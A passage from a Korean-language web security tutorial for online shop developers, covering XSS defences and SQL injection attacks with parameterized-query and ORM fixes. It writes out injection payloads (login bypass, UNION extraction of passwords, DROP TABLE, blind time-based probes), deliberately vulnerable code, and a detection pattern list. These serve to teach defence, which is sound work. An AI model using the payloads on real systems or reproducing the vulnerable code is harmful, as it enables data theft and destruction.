    allowedTags: ['b', 'i', 'em', 'strong', 'p', 'br'],
    allowedAttributes: {},
    disallowedTagsMode: 'escape'
  });
  
  // 3. ์ถ”๊ฐ€ ๊ฒ€์ฆ (์Šคํฌ๋ฆฝํŠธ ํŒจํ„ด ์ฒดํฌ)
  const dangerousPatterns = [
    /<script/i,
    /javascript:/i,
    /on\w+\s*=/i,  // onclick, onerror ๋“ฑ
    /<iframe/i
  ];
  
  for (const pattern of dangerousPatterns) {
    if (pattern.test(content)) {
      return res.status(400).json({ error: 'ํ—ˆ์šฉ๋˜์ง€ ์•Š๋Š” ๋‚ด์šฉ์ด ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค' });
    }
  }
  
  // 4. ์•ˆ์ „ํ•˜๊ฒŒ ์ €์žฅ
  db.query('INSERT INTO reviews (content) VALUES (?)', [content]);
  res.json({ success: true });
});
Python/Django ์˜ˆ์‹œ
from django.utils.html import escape, strip_tags
import bleach

def save_review(request):
    content = request.POST.get('content', '')
    
    # HTML ํƒœ๊ทธ ์ œ๊ฑฐ
    content = strip_tags(content)
    
    # ๋˜๋Š” ํ—ˆ์šฉ๋œ ํƒœ๊ทธ๋งŒ ๋‚จ๊ธฐ๊ธฐ
    content = bleach.clean(
        content,
        tags=['b', 'i', 'em', 'strong', 'p', 'br'],
        attributes={},
        strip=True
    )
    
    # ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ €์žฅ
    Review.objects.create(content=content)
โœ… ๋ฐฉ์–ด ๊ธฐ๋ฒ• 2: ์ถœ๋ ฅ ์ธ์ฝ”๋”ฉ (Output Encoding)

๋ฐ์ดํ„ฐ๋ฅผ ํ™”๋ฉด์— ์ถœ๋ ฅํ•  ๋•Œ ๋ฐ˜๋“œ์‹œ ์ด์Šค์ผ€์ดํ”„ ์ฒ˜๋ฆฌํ•ด์•ผ ํ•ด!
์ด๊ฒŒ XSS ๋ฐฉ์–ด์˜ ํ•ต์‹ฌ์ด์•ผ. ๐Ÿ”‘

ํ…œํ”Œ๋ฆฟ ์—”์ง„๋ณ„ ์ด์Šค์ผ€์ดํ”„ ๋ฐฉ๋ฒ•
<!-- EJS (Node.js) -->
<!-- ์•ˆ์ „ํ•œ ๋ฐฉ๋ฒ• (์ž๋™ ์ด์Šค์ผ€์ดํ”„) -->
<div><%= userInput %></div>

<!-- ์œ„ํ—˜ํ•œ ๋ฐฉ๋ฒ• (์ด์Šค์ผ€์ดํ”„ ์•ˆ ํ•จ) -->
<div><%- userInput %></div>  // ์ ˆ๋Œ€ ์‚ฌ์šฉ ๊ธˆ์ง€!


<!-- Handlebars -->
<!-- ์•ˆ์ „ํ•œ ๋ฐฉ๋ฒ• -->
<div>{{userInput}}</div>

<!-- ์œ„ํ—˜ํ•œ ๋ฐฉ๋ฒ• -->
<div>{{{userInput}}}</div>  // ์‚ผ์ค‘ ์ค‘๊ด„ํ˜ธ๋Š” ์œ„ํ—˜!


<!-- Jinja2 (Python) -->
<!-- ์•ˆ์ „ํ•œ ๋ฐฉ๋ฒ• (๊ธฐ๋ณธ๊ฐ’) -->
<div>{{ user_input }}</div>

<!-- ์œ„ํ—˜ํ•œ ๋ฐฉ๋ฒ• -->
<div>{{ user_input | safe }}</div>  // safe ํ•„ํ„ฐ ์ฃผ์˜!
JavaScript์—์„œ ์•ˆ์ „ํ•˜๊ฒŒ ์ถœ๋ ฅํ•˜๊ธฐ
// โŒ ์œ„ํ—˜ํ•œ ๋ฐฉ๋ฒ•
element.innerHTML = userInput;

// โœ… ์•ˆ์ „ํ•œ ๋ฐฉ๋ฒ• 1: textContent ์‚ฌ์šฉ
element.textContent = userInput;

// โœ… ์•ˆ์ „ํ•œ ๋ฐฉ๋ฒ• 2: ์ˆ˜๋™ ์ด์Šค์ผ€์ดํ”„
function escapeHtml(text) {
  const map = {
    '&': '&',
    '<': '<',
    '>': '>',
    '"': '"',
    "'": ''',
    '/': '/'
  };
  return text.replace(/[&<>"'/]/g, char => map[char]);
}

element.innerHTML = escapeHtml(userInput);

// โœ… ์•ˆ์ „ํ•œ ๋ฐฉ๋ฒ• 3: DOMPurify ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์‚ฌ์šฉ
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);
โœ… ๋ฐฉ์–ด ๊ธฐ๋ฒ• 3: Content Security Policy (CSP) ์„ค์ •

CSP๋Š” ๋ธŒ๋ผ์šฐ์ €์—๊ฒŒ "์–ด๋–ค ์†Œ์Šค์˜ ์Šคํฌ๋ฆฝํŠธ๋งŒ ์‹คํ–‰ํ• ์ง€" ์•Œ๋ ค์ฃผ๋Š” ๊ฐ•๋ ฅํ•œ ๋ณด์•ˆ ํ—ค๋”์•ผ!
XSS ๊ณต๊ฒฉ์„ ๋ง‰๋Š” ์ตœํ›„์˜ ๋ฐฉ์–ด์„ ์ด๋ผ๊ณ  ํ•  ์ˆ˜ ์žˆ์ง€. ๐Ÿ›ก๏ธ

CSP ํ—ค๋” ์„ค์ • (Node.js/Express)
const helmet = require('helmet');

app.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"],  // ๊ธฐ๋ณธ์ ์œผ๋กœ ๊ฐ™์€ ๋„๋ฉ”์ธ๋งŒ ํ—ˆ์šฉ
      scriptSrc: [
        "'self'",  // ์ž์ฒด ๋„๋ฉ”์ธ
        "'nonce-{random}'",  // nonce ๊ธฐ๋ฐ˜ ์ธ๋ผ์ธ ์Šคํฌ๋ฆฝํŠธ
        "https://cdn.trusted.com"  // ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” CDN
      ],
      styleSrc: ["'self'", "'unsafe-inline'"],  // ์Šคํƒ€์ผ์€ ์ธ๋ผ์ธ ํ—ˆ์šฉ
      imgSrc: ["'self'", "data:", "https:"],  // ์ด๋ฏธ์ง€ ์†Œ์Šค
      connectSrc: ["'self'", "https://api.myshop.com"],  // AJAX ์š”์ฒญ
      fontSrc: ["'self'", "https://fonts.gstatic.com"],
      objectSrc: ["'none'"],  // ํ”Œ๋Ÿฌ๊ทธ์ธ ์ฐจ๋‹จ
      mediaSrc: ["'self'"],
      frameSrc: ["'none'"],  // iframe ์ฐจ๋‹จ
      upgradeInsecureRequests: []  // HTTP๋ฅผ HTTPS๋กœ ์ž๋™ ์—…๊ทธ๋ ˆ์ด๋“œ
    }
  })
);

// Nonce ๊ธฐ๋ฐ˜ ์ธ๋ผ์ธ ์Šคํฌ๋ฆฝํŠธ ์‚ฌ์šฉ
app.get('/page', (req, res) => {
  const nonce = crypto.randomBytes(16).toString('base64');
  res.setHeader(
    'Content-Security-Policy',
    `script-src 'self' 'nonce-${nonce}'`
  );
  res.render('page', { nonce });
});
HTML์—์„œ nonce ์‚ฌ์šฉ
<!-- ํ—ˆ์šฉ๋˜๋Š” ์ธ๋ผ์ธ ์Šคํฌ๋ฆฝํŠธ -->
<script nonce="<%= nonce %>">
  console.log('This is safe!');
</script>

<!-- nonce๊ฐ€ ์—†์œผ๋ฉด ์‹คํ–‰ ์•ˆ ๋จ -->
<script>
  alert('This will be blocked!');
</script>
๐Ÿ’ก CSP ๋ ˆ๋ฒจ๋ณ„ ์„ค์ • ์˜ˆ์‹œ

๊ธฐ๋ณธ ๊ฐ™์€ ๋„๋ฉ”์ธ๋งŒ ํ—ˆ์šฉ
Content-Security-Policy: default-src 'self'
์ค‘๊ธ‰ ํŠน์ • CDN ํ—ˆ์šฉ
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net
๊ณ ๊ธ‰ Nonce ๊ธฐ๋ฐ˜ + ๋ฆฌํฌํŒ…
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; report-uri /csp-report
โœ… ๋ฐฉ์–ด ๊ธฐ๋ฒ• 4: HttpOnly ๋ฐ Secure ์ฟ ํ‚ค ํ”Œ๋ž˜๊ทธ

์„ธ์…˜ ์ฟ ํ‚ค์— ์ ์ ˆํ•œ ํ”Œ๋ž˜๊ทธ๋ฅผ ์„ค์ •ํ•˜๋ฉด XSS๋กœ ์ฟ ํ‚ค๋ฅผ ํƒˆ์ทจ๋‹นํ•˜๋Š” ๊ฑธ ๋ง‰์„ ์ˆ˜ ์žˆ์–ด!

์•ˆ์ „ํ•œ ์ฟ ํ‚ค ์„ค์ •
// Node.js/Express
app.use(session({
  secret: 'your-secret-key',
  cookie: {
    httpOnly: true,    // JavaScript๋กœ ์ฟ ํ‚ค ์ ‘๊ทผ ๋ถˆ๊ฐ€
    secure: true,      // HTTPS์—์„œ๋งŒ ์ „์†ก
    sameSite: 'strict', // CSRF ๋ฐฉ์–ด
    maxAge: 3600000    // 1์‹œ๊ฐ„
  }
}));

// ์ˆ˜๋™ ์ฟ ํ‚ค ์„ค์ •
res.cookie('sessionId', sessionId, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',
  maxAge: 3600000
});
ํ”Œ๋ž˜๊ทธ ์„ค๋ช…:
๐Ÿ”’ httpOnly: JavaScript์—์„œ document.cookie๋กœ ์ ‘๊ทผ ๋ถˆ๊ฐ€
๐Ÿ”’ secure: HTTPS ์—ฐ๊ฒฐ์—์„œ๋งŒ ์ฟ ํ‚ค ์ „์†ก
๐Ÿ”’ sameSite: ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์š”์ฒญ ์‹œ ์ฟ ํ‚ค ์ „์†ก ์ œํ•œ
โœ… ๋ฐฉ์–ด ๊ธฐ๋ฒ• 5: ํ”„๋ ˆ์ž„์›Œํฌ ๋‚ด์žฅ ๋ณด์•ˆ ๊ธฐ๋Šฅ ํ™œ์šฉ

ํ˜„๋Œ€์ ์ธ ์›น ํ”„๋ ˆ์ž„์›Œํฌ๋“ค์€ XSS ๋ฐฉ์–ด ๊ธฐ๋Šฅ์„ ๋‚ด์žฅํ•˜๊ณ  ์žˆ์–ด.
์ด๊ฑธ ์ œ๋Œ€๋กœ ํ™œ์šฉํ•˜๋Š” ๊ฒŒ ์ค‘์š”ํ•ด!

React (์ž๋™ ์ด์Šค์ผ€์ดํ”„)
// โœ… ์•ˆ์ „ (์ž๋™์œผ๋กœ ์ด์Šค์ผ€์ดํ”„๋จ)
function ProductReview({ review }) {
  return <div>{review.content}</div>;
}

// โŒ ์œ„ํ—˜ (dangerouslySetInnerHTML ์‚ฌ์šฉ ์‹œ)
function ProductReview({ review }) {
  return (
    <div dangerouslySetInnerHTML={{ __html: review.content }} />
  );
}

// โœ… ์•ˆ์ „ํ•˜๊ฒŒ HTML ๋ Œ๋”๋งํ•˜๋ ค๋ฉด DOMPurify ์‚ฌ์šฉ
import DOMPurify from 'dompurify';

function ProductReview({ review }) {
  const cleanContent = DOMPurify.sanitize(review.content);
  return (
    <div dangerouslySetInnerHTML={{ __html: cleanContent }} />
  );
}
Vue.js (์ž๋™ ์ด์Šค์ผ€์ดํ”„)
<!-- โœ… ์•ˆ์ „ (์ž๋™ ์ด์Šค์ผ€์ดํ”„) -->
<div>{{ review.content }}</div>

<!-- โŒ ์œ„ํ—˜ (v-html ์‚ฌ์šฉ ์‹œ) -->
<div v-html="review.content"></div>

<!-- โœ… ์•ˆ์ „ํ•˜๊ฒŒ ์‚ฌ์šฉํ•˜๋ ค๋ฉด -->
<div v-html="sanitizedContent"></div>

<script>
import DOMPurify from 'dompurify';

export default {
  computed: {
    sanitizedContent() {
      return DOMPurify.sanitize(this.review.content);
    }
  }
}
</script>
๐Ÿ’ก ์‹ค๋ฌด ํŒ: XSS ๋ฐฉ์–ด ์ฒดํฌ๋ฆฌ์ŠคํŠธ
  • โœ”๏ธ ๋ชจ๋“  ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ์‹ ๋ขฐํ•˜์ง€ ์•Š๊ธฐ
  • โœ”๏ธ ์ถœ๋ ฅ ์‹œ ํ•ญ์ƒ ์ด์Šค์ผ€์ดํ”„ ์ฒ˜๋ฆฌ
  • โœ”๏ธ innerHTML ๋Œ€์‹  textContent ์‚ฌ์šฉ
  • โœ”๏ธ CSP ํ—ค๋” ์„ค์ •
  • โœ”๏ธ HttpOnly, Secure ์ฟ ํ‚ค ํ”Œ๋ž˜๊ทธ ์‚ฌ์šฉ
  • โœ”๏ธ ํ”„๋ ˆ์ž„์›Œํฌ์˜ ๋ณด์•ˆ ๊ธฐ๋Šฅ ํ™œ์šฉ
  • โœ”๏ธ ์ •๊ธฐ์ ์ธ ๋ณด์•ˆ ์Šค์บ” ์‹ค์‹œ
  • โœ”๏ธ ์จ๋“œํŒŒํ‹ฐ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ตœ์‹  ๋ฒ„์ „ ์œ ์ง€
XSS ๋ฐฉ์–ด ๋‹ค์ธต ๋ณด์•ˆ ๊ตฌ์กฐ ํ•ต์‹ฌ ๋ฐ์ดํ„ฐ ์„ธ์…˜/์ฟ ํ‚ค 1์ธต: ์ž…๋ ฅ ๊ฒ€์ฆ Sanitization 2์ธต: ์ถœ๋ ฅ ์ธ์ฝ”๋”ฉ Escaping 3์ธต: CSP ํ—ค๋” ์„ค์ • 4์ธต: ์ฟ ํ‚ค ๋ณด์•ˆ HttpOnly 5์ธต: ๋ชจ๋‹ˆํ„ฐ๋ง ๋กœ๊น…/์•Œ๋ฆผ ๐ŸŽฏ ํ•ต์‹ฌ ์›์น™ ์ž…๋ ฅ์€ ํ•ญ์ƒ ์˜์‹ฌํ•˜๊ณ  ์ถœ๋ ฅ์€ ๋ฐ˜๋“œ์‹œ ๊ฒ€์ฆํ•˜๋ฉฐ ๋‹ค์ธต ๋ฐฉ์–ด๋กœ ๋ณดํ˜ธํ•œ๋‹ค Never Trust Input Always Validate Output Defense in Depth

๐Ÿ—„๏ธ SQL Injection ๊ณต๊ฒฉ๊ณผ ์™„๋ฒฝ ๋ฐฉ์–ด

๐Ÿ“Œ SQL Injection์ด ๋ญ๊ธธ๋ž˜?

SQL Injection์€ ์•…์˜์ ์ธ SQL ์ฟผ๋ฆฌ๋ฅผ ์ฃผ์ž…ํ•ด์„œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์กฐ์ž‘ํ•˜๋Š” ๊ณต๊ฒฉ์ด์•ผ.
์‡ผํ•‘๋ชฐ์—์„œ ๊ฐ€์žฅ ์น˜๋ช…์ ์ธ ๊ณต๊ฒฉ ์ค‘ ํ•˜๋‚˜์ธ๋ฐ, ์ „์ฒด ๊ณ ๊ฐ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ํ†ต์งธ๋กœ ์œ ์ถœ๋  ์ˆ˜ ์žˆ๊ฑฐ๋“ ! ๐Ÿ˜ฑ

OWASP(Open Web Application Security Project)์—์„œ ๋งค๋…„ ๋ฐœํ‘œํ•˜๋Š” ์›น ๋ณด์•ˆ ์œ„ํ˜‘ Top 10์—์„œ ํ•ญ์ƒ ์ƒ์œ„๊ถŒ์„ ์ฐจ์ง€ํ•˜๋Š” ๊ณต๊ฒฉ์ด์•ผ.

โš ๏ธ ์‹ค์ œ SQL Injection ๊ณต๊ฒฉ ์‚ฌ๋ก€

์‹œ๋‚˜๋ฆฌ์˜ค: ๋กœ๊ทธ์ธ ์šฐํšŒ

์ผ๋ฐ˜์ ์ธ ๋กœ๊ทธ์ธ ์ฟผ๋ฆฌ:
SELECT * FROM users WHERE email = 'user@example.com' AND password = 'mypassword';
ํ•ด์ปค๊ฐ€ ์ด๋ฉ”์ผ ์ž…๋ ฅ๋ž€์— ์ด๋ ‡๊ฒŒ ์ž…๋ ฅํ•˜๋ฉด:
admin@shop.com' OR '1'='1
์‹ค์ œ๋กœ ์‹คํ–‰๋˜๋Š” ์ฟผ๋ฆฌ:
SELECT * FROM users WHERE email = 'admin@shop.com' OR '1'='1' AND password = 'anything';
'1'='1'์€ ํ•ญ์ƒ ์ฐธ์ด๊ธฐ ๋•Œ๋ฌธ์— ๋น„๋ฐ€๋ฒˆํ˜ธ ์—†์ด ๋กœ๊ทธ์ธ ์„ฑ๊ณต! ๐Ÿ˜จ
๐Ÿ” SQL Injection ๊ณต๊ฒฉ์˜ ์œ ํ˜•๋“ค

SQL Injection๋„ ์—ฌ๋Ÿฌ ๊ฐ€์ง€ ํ˜•ํƒœ๊ฐ€ ์žˆ์–ด. ๊ฐ๊ฐ์˜ ํŠน์ง•์„ ์•Œ์•„๋ณด์ž!

1๏ธโƒฃ Classic SQL Injection (๊ณ ์ „์  ๋ฐฉ์‹)

๊ฐ€์žฅ ๊ธฐ๋ณธ์ ์ธ ํ˜•ํƒœ๋กœ, ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ๊ฐ€ ๋ฐ”๋กœ ํ™”๋ฉด์— ํ‘œ์‹œ๋˜๋Š” ๊ฒฝ์šฐ์•ผ.

์ทจ์•ฝํ•œ ์ฝ”๋“œ ์˜ˆ์‹œ
// โŒ ๋งค์šฐ ์œ„ํ—˜ํ•œ ์ฝ”๋“œ!
app.get('/product', (req, res) => {
  const productId = req.query.id;
  const query = `SELECT * FROM products WHERE id = ${productId}`;
  
  db.query(query, (err, results) => {
    res.json(results);
  });
});

// ๊ณต๊ฒฉ URL
// /product?id=1 OR 1=1  โ†’ ๋ชจ๋“  ์ƒํ’ˆ ์ •๋ณด ๋…ธ์ถœ
// /product?id=1 UNION SELECT * FROM users  โ†’ ์‚ฌ์šฉ์ž ์ •๋ณด ๋…ธ์ถœ
๊ณต๊ฒฉ ์˜ˆ์‹œ:
โ€ข ๋ฐ์ดํ„ฐ ์กฐํšŒ: 1 OR 1=1
โ€ข ํ…Œ์ด๋ธ” ๊ฒฐํ•ฉ: 1 UNION SELECT username, password FROM users
โ€ข ๋ฐ์ดํ„ฐ ์‚ญ์ œ: 1; DROP TABLE products--
2๏ธโƒฃ Blind SQL Injection (๋ธ”๋ผ์ธ๋“œ ๋ฐฉ์‹)

์ฟผ๋ฆฌ ๊ฒฐ๊ณผ๊ฐ€ ํ™”๋ฉด์— ์ง์ ‘ ํ‘œ์‹œ๋˜์ง€ ์•Š์ง€๋งŒ, ์ฐธ/๊ฑฐ์ง“ ์‘๋‹ต์ด๋‚˜ ์‹œ๊ฐ„ ์ง€์—ฐ์„ ํ†ตํ•ด ์ •๋ณด๋ฅผ ์ถ”์ถœํ•˜๋Š” ๋ฐฉ์‹์ด์•ผ.

Boolean-based Blind SQL Injection
// ์ทจ์•ฝํ•œ ๊ฒ€์ƒ‰ ๊ธฐ๋Šฅ
app.get('/search', (req, res) => {
  const keyword = req.query.q;
  const query = `SELECT * FROM products WHERE name LIKE '%${keyword}%'`;
  
  db.query(query, (err, results) => {
    if (results.length > 0) {
      res.json({ found: true });
    } else {
      res.json({ found: false });
    }
  });
});

// ๊ณต๊ฒฉ ์ฟผ๋ฆฌ
// /search?q=test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a
// ์‘๋‹ต์ด true๋ฉด ์ฒซ ๊ธ€์ž๊ฐ€ 'a', false๋ฉด ๋‹ค๋ฅธ ๊ธ€์ž
// ์ด๋Ÿฐ ์‹์œผ๋กœ ํ•œ ๊ธ€์ž์”ฉ ์ถ”์ถœ!
Time-based Blind SQL Injection
// ๊ณต๊ฒฉ ์ฟผ๋ฆฌ (MySQL)
// /search?q=test' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)--

// ์‘๋‹ต์ด 5์ดˆ ์ง€์—ฐ๋˜๋ฉด ์ฒซ ๊ธ€์ž๊ฐ€ 'a'
// ์ง€์—ฐ์ด ์—†์œผ๋ฉด ๋‹ค๋ฅธ ๊ธ€์ž
3๏ธโƒฃ Second-Order SQL Injection (2์ฐจ ์ฃผ์ž…)

์•…์„ฑ ์ฟผ๋ฆฌ๋ฅผ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ €์žฅํ•œ ํ›„, ๋‚˜์ค‘์— ๊ทธ ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ ๊ณต๊ฒฉ์ด ์‹คํ–‰๋˜๋Š” ๋ฐฉ์‹์ด์•ผ.
ํƒ์ง€ํ•˜๊ธฐ ๋งค์šฐ ์–ด๋ ค์›Œ์„œ ์œ„ํ—˜ํ•ด! ๐Ÿšจ

Second-Order ๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค
// 1๋‹จ๊ณ„: ํšŒ์›๊ฐ€์ž… ์‹œ ์•…์„ฑ ๋ฐ์ดํ„ฐ ์ €์žฅ
// ์ด๋ฆ„ ์ž…๋ ฅ: admin'--
// ์ด ๋ฐ์ดํ„ฐ๊ฐ€ ์ด์Šค์ผ€์ดํ”„๋˜์–ด ์•ˆ์ „ํ•˜๊ฒŒ ์ €์žฅ๋จ

// 2๋‹จ๊ณ„: ๋‚˜์ค‘์— ์ด ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ ๋ฌธ์ œ ๋ฐœ์ƒ
app.get('/profile', (req, res) => {
  const userId = req.session.userId;
  
  // ์‚ฌ์šฉ์ž ์ •๋ณด ์กฐํšŒ (์•ˆ์ „)
  db.query('SELECT * FROM users WHERE id = ?', [userId], (err, user) => {
    const username = user[0].name;  // "admin'--"
    
    // โŒ ์—ฌ๊ธฐ์„œ ๋ฌธ์ œ ๋ฐœ์ƒ! (์ด์Šค์ผ€์ดํ”„ ์—†์ด ์‚ฌ์šฉ)
    const query = `SELECT * FROM orders WHERE username = '${username}'`;
    db.query(query, (err, orders) => {
      // ๊ณต๊ฒฉ ์„ฑ๊ณต!
    });
  });
});
๐Ÿ›ก๏ธ SQL Injection ๋ฐฉ์–ด ๊ธฐ๋ฒ• - ์™„๋ฒฝ ๊ฐ€์ด๋“œ

SQL Injection์„ ๋ง‰๋Š” ๊ฐ€์žฅ ํ™•์‹คํ•œ ๋ฐฉ๋ฒ•์€ Prepared Statement (ํŒŒ๋ผ๋ฏธํ„ฐํ™”๋œ ์ฟผ๋ฆฌ)๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฑฐ์•ผ!
์ด๊ฒƒ๋งŒ ์ œ๋Œ€๋กœ ํ•ด๋„ 99%์˜ SQL Injection์„ ๋ง‰์„ ์ˆ˜ ์žˆ์–ด. ๐Ÿ’ช

โœ… ๋ฐฉ์–ด ๊ธฐ๋ฒ• 1: Prepared Statement ์‚ฌ์šฉ (์ตœ๊ณ ์˜ ๋ฐฉ๋ฒ•!)

Prepared Statement๋Š” ์ฟผ๋ฆฌ ๊ตฌ์กฐ์™€ ๋ฐ์ดํ„ฐ๋ฅผ ๋ถ„๋ฆฌํ•ด์„œ ์ฒ˜๋ฆฌํ•ด.
์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ์ ˆ๋Œ€ ์ฟผ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์—†๊ฒŒ ๋งŒ๋“œ๋Š” ๊ฑฐ์ง€!

Node.js + MySQL
const mysql = require('mysql2');
const pool = mysql.createPool({
  host: 'localhost',
  user: 'root',
  database: 'shop',
  waitForConnections: true,
  connectionLimit: 10
});

// โœ… ์•ˆ์ „ํ•œ ๋ฐฉ๋ฒ• (Prepared Statement)
app.get('/product', async (req, res) => {
  const productId = req.query.id;
  
  try {
    const [rows] = await pool.promise().query(
      'SELECT * FROM products WHERE id = ?',
      [productId]  // ํŒŒ๋ผ๋ฏธํ„ฐ๋Š” ๋ฐฐ์—ด๋กœ ์ „๋‹ฌ
    );
    res.json(rows);
  } catch (error) {
    res.status(500).json({ error: 'Database error' });
  }
});

// ์—ฌ๋Ÿฌ ํŒŒ๋ผ๋ฏธํ„ฐ ์‚ฌ์šฉ
app.post('/login', async (req, res) => {
  const { email, password } = req.body;
  
  const [users] = await pool.promise().query(
    'SELECT * FROM users WHERE email = ? AND password = ?',
    [email, password]
  );
  
  if (users.length > 0) {
    // ๋กœ๊ทธ์ธ ์„ฑ๊ณต
    req.session.userId = users[0].id;
    res.json({ success: true });
  } else {
    res.status(401).json({ error: 'Invalid credentials' });
  }
});

// LIKE ์ฟผ๋ฆฌ๋„ ์•ˆ์ „ํ•˜๊ฒŒ
app.get('/search', async (req, res) => {
  const keyword = req.query.q;
  
  const [products] = await pool.promise().query(
    'SELECT * FROM products WHERE name LIKE ?',
    [`%${keyword}%`]  // LIKE ํŒจํ„ด๋„ ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์ „๋‹ฌ
  );
  
  res.json(products);
});
Python + PostgreSQL (psycopg2)
import psycopg2
from psycopg2 import sql

conn = psycopg2.connect(
    host="localhost",
    database="shop",
    user="postgres",
    password="password"
)

# โœ… ์•ˆ์ „ํ•œ ๋ฐฉ๋ฒ•
def get_product(product_id):
    cursor = conn.cursor()
    
    # %s๋Š” ํ”Œ๋ ˆ์ด์Šคํ™€๋” (์‹ค์ œ %๊ฐ€ ์•„๋‹˜!)
    cursor.execute(
        "SELECT * FROM products WHERE id = %s",
        (product_id,)  # ํŠœํ”Œ๋กœ ์ „๋‹ฌ
    )
    
    return cursor.fetchall()

# ์—ฌ๋Ÿฌ ํŒŒ๋ผ๋ฏธํ„ฐ
def search_products(keyword, category, min_price):
    cursor = conn.cursor()
    
    cursor.execute(
        """
        SELECT * FROM products 
        WHERE name LIKE %s 
        AND category = %s 
        AND price >= %s
        """,
        (f'%{keyword}%', category, min_price)
    )
    
    return cursor.fetchall()

# ๋™์  ํ…Œ์ด๋ธ”๋ช…์€ sql.Identifier ์‚ฌ์šฉ
def get_table_data(table_name):
    cursor = conn.cursor()
    
    # โœ… ์•ˆ์ „ํ•˜๊ฒŒ ํ…Œ์ด๋ธ”๋ช… ์ฒ˜๋ฆฌ
    query = sql.SQL("SELECT * FROM {}").format(
        sql.Identifier(table_name)
    )
    
    cursor.execute(query)
    return cursor.fetchall()
PHP + PDO
<?php
$pdo = new PDO('mysql:host=localhost;dbname=shop', 'user', 'password');

// โœ… ์•ˆ์ „ํ•œ ๋ฐฉ๋ฒ• (Named Parameters)
function getProduct($productId) {
    global $pdo;
    
    $stmt = $pdo->prepare('SELECT * FROM products WHERE id = :id');
    $stmt->execute(['id' => $productId]);
    
    return $stmt->fetchAll(PDO::FETCH_ASSOC);
}

// โœ… ์•ˆ์ „ํ•œ ๋ฐฉ๋ฒ• (Positional Parameters)
function login($email, $password) {
    global $pdo;
    
    $stmt = $pdo->prepare('SELECT * FROM users WHERE email = ? AND password = ?');
    $stmt->execute([$email, $password]);
    
    return $stmt->fetch(PDO::FETCH_ASSOC);
}

// ์—ฌ๋Ÿฌ ์กฐ๊ฑด์˜ ๊ฒ€์ƒ‰
function searchProducts($keyword, $category, $minPrice, $maxPrice) {
    global $pdo;
    
    $stmt = $pdo->prepare('
        SELECT * FROM products 
        WHERE name LIKE :keyword 
        AND category = :category 
        AND price BETWEEN :min_price AND :max_price
    ');
    
    $stmt->execute([
        'keyword' => "%$keyword%",
        'category' => $category,
        'min_price' => $minPrice,
        'max_price' => $maxPrice
    ]);
    
    return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
?>
โœ… ๋ฐฉ์–ด ๊ธฐ๋ฒ• 2: ORM (Object-Relational Mapping) ์‚ฌ์šฉ

ORM์„ ์‚ฌ์šฉํ•˜๋ฉด SQL์„ ์ง์ ‘ ์ž‘์„ฑํ•˜์ง€ ์•Š์•„๋„ ๋˜๊ณ , ์ž๋™์œผ๋กœ ์•ˆ์ „ํ•œ ์ฟผ๋ฆฌ๊ฐ€ ์ƒ์„ฑ๋ผ!
ํ˜„๋Œ€์ ์ธ ์›น ๊ฐœ๋ฐœ์—์„œ๋Š” ORM ์‚ฌ์šฉ์ด ๊ฑฐ์˜ ํ‘œ์ค€์ด์•ผ. ๐ŸŽฏ

Sequelize (Node.js)
const { Sequelize, DataTypes } = require('sequelize');

const sequelize = new Sequelize('shop', 'user', 'password', {
  host: 'localhost',
  dialect: 'mysql'
});

// ๋ชจ๋ธ ์ •์˜
const Product = sequelize.define('Product', {
  name: DataTypes.STRING,
  price: DataTypes.DECIMAL(10, 2),
  category: DataTypes.STRING,
  description: DataTypes.TEXT
});

// โœ… ์•ˆ์ „ํ•œ ์กฐํšŒ (์ž๋™์œผ๋กœ Prepared Statement ์‚ฌ์šฉ)
app.get('/product/:id', async (req, res) => {
  try {
    const product = await Product.findByPk(req.params.id);
    res.json(product);
  } catch (error) {
    res.status(500).json({ error: 'Database error' });
  }
});

// โœ… ์•ˆ์ „ํ•œ ๊ฒ€์ƒ‰
app.get('/search', async (req, res) => {
  const { keyword, category, minPrice } = req.query;
  
  const products = await Product.findAll({
    where: {
      name: {
        [Sequelize.Op.like]: `%${keyword}%`
      },
      category: category,
      price: {
        [Sequelize.Op.gte]: minPrice
      }
    }
  });
  
  res.json(products);
});

// โœ… ์•ˆ์ „ํ•œ ์ƒ์„ฑ
app.post('/product', async (req, res) => {
  const { name, price, category, description } = req.body;
  
  const product = await Product.create({
    name,
    price,
    category,
    description
  });
  
  res.json(product);
});

// โœ… ์•ˆ์ „ํ•œ ์—…๋ฐ์ดํŠธ
app.put('/product/:id', async (req, res) => {
  const { name, price } = req.body;
  
  await Product.update(
    { name, price },
    { where: { id: req.params.id } }
  );
  
  res.json({ success: true });
});
Django ORM (Python)
from django.db import models
from django.http import JsonResponse

# ๋ชจ๋ธ ์ •์˜
class Product(models.Model):
    name = models.CharField(max_length=200)
    price = models.DecimalField(max_digits=10, decimal_places=2)
    category = models.CharField(max_length=100)
    description = models.TextField()

# โœ… ์•ˆ์ „ํ•œ ์กฐํšŒ
def get_product(request, product_id):
    product = Product.objects.get(id=product_id)
    return JsonResponse({
        'id': product.id,
        'name': product.name,
        'price': str(product.price)
